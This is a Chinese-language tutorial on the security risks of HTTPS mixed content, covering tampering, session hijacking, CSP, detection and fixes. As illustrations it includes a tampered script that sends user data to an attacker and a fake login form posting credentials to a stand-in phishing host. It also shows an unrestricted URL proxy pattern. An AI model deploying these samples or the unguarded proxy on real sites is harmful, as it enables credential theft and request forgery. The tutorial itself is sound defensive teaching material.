混合内容（Mixed Content）的安全风险

混合内容（Mixed Content）的定义

混合内容指的是HTTPS页面中加载的HTTP子资源。当主页面通过HTTPS加载，但其中的图片、脚本、样式表、iframe等资源通过HTTP协议加载时，就会产生混合内容。现代浏览器会将这类情况标记为不安全，并在地址栏显示警告图标。

<!-- 混合内容示例 -->
<img src="http://example.com/image.jpg" alt="不安全图片">
<script src="http://example.com/script.js"></script>

混合内容的分类

被动型混合内容

被动型混合内容指那些不会修改DOM的内容，包括：

• 图片（img）
• 视频（video）
• 音频（audio）
• 预加载（prefetch）

虽然风险较低，但仍可能被中间人攻击篡改，导致页面内容被恶意替换。

主动型混合内容

主动型混合内容能够修改DOM或执行脚本，危险性更高：

• 脚本（script）
• iframe
• 样式表（link rel="stylesheet"）
• XMLHttpRequest
• WebSocket
• 字体（@font-face）

// 高危的主动型混合内容
fetch('http://api.example.com/data')
  .then(response => response.json())
  .then(data => {
    document.getElementById('content').innerHTML = data.html;
  });

安全风险详解

中间人攻击（MITM）

攻击者可以在HTTP连接上注入恶意代码，因为HTTP传输未经加密。例如篡改JavaScript文件：

// 原始脚本
function displayUserData(data) {
  // 正常显示用户数据
}

// 被篡改后的脚本
function displayUserData(data) {
  sendStolenDataToAttacker(data);
  // 原始功能保持不变以避免怀疑
}

会话劫持

如果页面中混合加载了HTTP的会话cookie，攻击者可以窃取这些cookie并冒充用户身份。

Set-Cookie: sessionid=abc123; Domain=.example.com; Secure

内容篡改

攻击者可以修改HTTP加载的资源，例如：

• 替换图片为不当内容
• 修改CSS破坏页面布局
• 注入虚假的表单收集用户凭证

<!-- 被篡改的表单示例 -->
<form action="http://phishing.com/steal" method="post">
  <input type="text" name="username">
  <input type="password" name="password">
</form>

浏览器处理机制

内容安全策略（CSP）

通过CSP可以限制资源加载来源：

Content-Security-Policy: default-src https:; img-src https: data:; script-src 'self' https://cdn.example.com

升级不安全请求

现代浏览器会自动将混合内容升级为HTTPS：

<!-- 浏览器会自动尝试加载 -->
<img src="http://example.com/image.jpg" alt="图片">
<!-- 变为 -->
<img src="https://example.com/image.jpg" alt="图片">

阻止危险内容

对于主动型混合内容，现代浏览器会默认阻止加载，并在控制台显示警告。

检测与修复方法

使用开发者工具

浏览器开发者工具会明确标记混合内容：

1. Chrome：Security面板显示混合内容警告
2. Firefox：控制台会输出阻止加载的资源

自动化扫描工具

# 使用SSL Labs测试
curl https://api.ssllabs.com/api/v3/analyze?host=example.com

# 使用mixed-content-scan
npx mixed-content-scan https://example.com

代码修复示例

将HTTP资源替换为HTTPS：

// 修复前
const apiUrl = 'http://api.example.com/data';

// 修复后
const apiUrl = 'https://api.example.com/data';

对于第三方资源，使用协议相对URL：

<!-- 不推荐 -->
<script src="http://cdn.example.com/library.js"></script>

<!-- 推荐 -->
<script src="//cdn.example.com/library.js"></script>

特殊场景处理

遗留系统集成

当必须使用不支持HTTPS的旧系统时：

// 通过代理服务器中转请求
fetch('/proxy?url=http://legacy-system.com/api', {
  credentials: 'include'
});

CDN回退策略

实现HTTPS失败时的优雅降级：

<script>
  function loadScript(src, fallbackSrc) {
    const script = document.createElement('script');
    script.src = src;
    script.onerror = () => {
      const fallback = document.createElement('script');
      fallback.src = fallbackSrc;
      document.head.appendChild(fallback);
    };
    document.head.appendChild(script);
  }
  
  loadScript(
    'https://cdn.example.com/library.js',
    '/local-fallback/library.js'
  );
</script>

开发最佳实践

前端构建工具配置

Webpack配置示例：

// webpack.config.js
module.exports = {
  output: {
    publicPath: 'https://cdn.example.com/',
  },
  devServer: {
    https: true,
  }
};

测试环境验证

使用反向代理测试混合内容：

# nginx配置
server {
  listen 443 ssl;
  server_name test.example.com;
  
  location / {
    proxy_pass http://localhost:3000;
  }
}

监控与报警

设置自动化监控：

// 混合内容检测脚本
document.addEventListener('securitypolicyviolation', (e) => {
  if (e.blockedURI.startsWith('http://')) {
    sendToMonitoringSystem({
      type: 'mixed-content',
      resource: e.blockedURI,
      page: window.location.href
    });
  }
});